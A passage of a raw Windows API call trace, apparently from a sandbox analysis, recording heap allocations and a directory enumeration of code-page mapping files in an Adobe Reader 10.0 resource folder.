BaseAddress=0x124c9e0) returned 1 [0084.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efba8 [0084.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2b78 [0084.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.764] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2414, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0084.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efbc8 [0084.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2c80 [0084.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.766] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0084.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efbe8 [0084.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2d88 [0084.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.767] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x219a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1255.TXT", cAlternateFileName="")) returned 1 [0084.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efc08 [0084.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2e90 [0084.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.769] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x22fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1256.TXT", cAlternateFileName="")) returned 1 [0084.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efc28 [0084.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2f98 [0084.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.771] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x252c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0084.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efc48 [0084.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e30a0 [0084.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.772] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2522, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0084.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efc68 [0084.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e31a8 [0084.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.774] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2221, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP874.TXT", cAlternateFileName="")) returned 1 [0084.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efc88 [0084.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e32b0 [0084.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7f80) returned 0x12bb0b0 [0084.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0084.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.810] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP932.TXT", cAlternateFileName="")) returned 1 [0084.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efca8 [0084.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e33b8 [0084.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP936.TXT", cAlternateFileName="")) returned 1 [0084.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efcc8 [0084.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e34c0 [0084.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.813] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc5492, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP949.TXT", cAlternateFileName="")) returned 1 [0084.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efce8 [0084.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e35c8 [0084.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 1 [0084.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 0 [0084.816] GetLastError () returned 0x12 [0084.816] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0084.816] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2664, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83386a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2414, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x219a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1255.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x22fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1256.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x252c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2522, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2221, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP874.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP932.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP936.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc5492, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP949.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 0 [0084.816] GetLastError () returned 0x12 [0084.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0d90) returned 1 [0084.817] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0e98) returned 1 [0084.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.818] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0084.818] GetLastError () returned 0x12 [0084.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ec0) returned 1 [0084.818] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6cb0) returned 1 [0084.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6db8) returned 1 [0084.818] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0084.819] 